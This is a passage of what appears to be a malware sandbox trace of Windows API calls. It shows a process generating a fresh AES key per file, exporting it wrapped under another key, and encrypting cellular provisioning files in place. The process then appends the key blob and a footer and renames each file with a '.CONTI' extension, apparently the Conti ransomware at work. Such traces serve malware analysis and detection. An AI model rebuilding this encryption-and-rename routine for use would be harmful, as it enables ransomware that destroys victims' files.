"c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.864] GetProcessHeap () returned 0x1720000
	[0110.864] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.864] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.864] GetProcessHeap () returned 0x1720000
	[0110.864] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca228 | out: hHeap=0x1720000) returned 1
	[0110.864] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0110.864] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6570848 | out: phKey=0x6570848*=0x17c7b70) returned 1
	[0110.864] CryptExportKey (in: hKey=0x17c7b70, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x657084c, pdwDataLen=0x4e7fc24 | out: pbData=0x657084c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0110.865] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.865] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.865] GetLastError () returned 0x0
	[0110.865] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=738) returned 1
	[0110.865] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e2
	[0110.865] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.866] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.866] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.866] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.866] WriteFile (in: hFile=0x3e4, lpBuffer=0x657084c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x657084c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.869] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.869] ReadFile (in: hFile=0x3e4, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2e2, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2e2, lpOverlapped=0x0) returned 1
	[0110.869] CryptEncrypt (in: hKey=0x17c7b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e2, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2f0) returned 1
	[0110.869] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.869] WriteFile (in: hFile=0x3e4, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2f0, lpOverlapped=0x0) returned 1
	[0110.869] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.869] WriteFile (in: hFile=0x3e4, lpBuffer=0x6570840*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6570840*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0110.869] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.869] CloseHandle (hObject=0x3e4) returned 1
	[0110.869] GetProcessHeap () returned 0x1720000
	[0110.869] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.869] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.869] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.869] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\368__connections_cellular_ojsc vimpelcom (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.910] GetProcessHeap () returned 0x1720000
	[0110.910] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.910] CryptDestroyKey (hKey=0x17c7b70) returned 1
	[0110.910] GetProcessHeap () returned 0x1720000
	[0110.910] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca3a0 | out: hHeap=0x1720000) returned 1
	[0110.910] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0110.910] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6570a90 | out: phKey=0x6570a90*=0x17c7af0) returned 1
	[0110.910] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6570a94, pdwDataLen=0x4e7fc24 | out: pbData=0x6570a94*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0110.911] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.912] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0110.912] GetLastError () returned 0x0
	[0110.912] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=732) returned 1
	[0110.912] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0110.913] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.913] SetEndOfFile (hFile=0x3cc) returned 1
	[0110.913] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.913] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.913] WriteFile (in: hFile=0x3cc, lpBuffer=0x6570a94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6570a94*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.915] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.915] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2dc, lpOverlapped=0x0) returned 1
	[0110.915] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2dc, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0110.915] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.915] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.915] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.915] WriteFile (in: hFile=0x3cc, lpBuffer=0x6570a88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6570a88*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0110.915] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.915] CloseHandle (hObject=0x3cc) returned 1
	[0110.916] GetProcessHeap () returned 0x1720000
	[0110.916] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.916] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.916] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.916] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\369__connections_cellular_primtel (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.916] GetProcessHeap () returned 0x1720000
	[0110.916] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.916] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.916] GetProcessHeap () returned 0x1720000
	[0110.916] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca508 | out: hHeap=0x1720000) returned 1
	[0110.917] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0110.917] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6570cd8 | out: phKey=0x6570cd8*=0x17c7af0) returned 1
	[0110.917] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6570cdc, pdwDataLen=0x4e7fc24 | out: pbData=0x6570cdc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0110.918] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.918] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0110.918] GetLastError () returned 0x0
	[0110.918] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=654) returned 1
	[0110.918] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28e
	[0110.918] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.918] SetEndOfFile (hFile=0x3cc) returned 1
	[0110.918] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.918] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.918] WriteFile (in: hFile=0x3cc, lpBuffer=0x6570cdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6570cdc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.923] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.923] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x28e, lpOverlapped=0x0) returned 1
	[0110.923] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x28e, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x290) returned 1
	[0110.923] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.923] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x290, lpOverlapped=0x0) returned 1
	[0110.923] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.923] WriteFile (in: hFile=0x3cc, lpBuffer=0x6570cd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6570cd0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0110.923] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.923] CloseHandle (hObject=0x3cc) returned 1
	[0110.923] GetProcessHeap () returned 0x1720000
	[0110.923] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.923] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml"
	[0110.923] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.923] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\36__connections_cellular_grameen phone (bangladesh)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.924] GetProcessHeap () returned 0x1720000
	[0110.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.924] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.924] GetProcessHeap () returned 0x1720000
	[0110.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c158 | out: hHeap=0x1720000) returned 1
	[0110.924] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0110.924] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x656fa98 | out: phKey=0x656fa98*=0x17c7bf0) returned 1
	[0110.924] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656fa9c, pdwDataLen=0x4e7fc24 | out: pbData=0x656fa9c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0110.925] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.925] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0110.926] GetLastError () returned 0x0
	[0110.926] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=789) returned 1
	[0110.926] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x315
	[0110.926] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.926] SetEndOfFile (hFile=0x3cc) returned 1
	[0110.926] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.926] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.926] WriteFile (in: hFile=0x3cc, lpBuffer=0x656fa9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x656fa9c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.307] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.307] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x315, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x315, lpOverlapped=0x0) returned 1
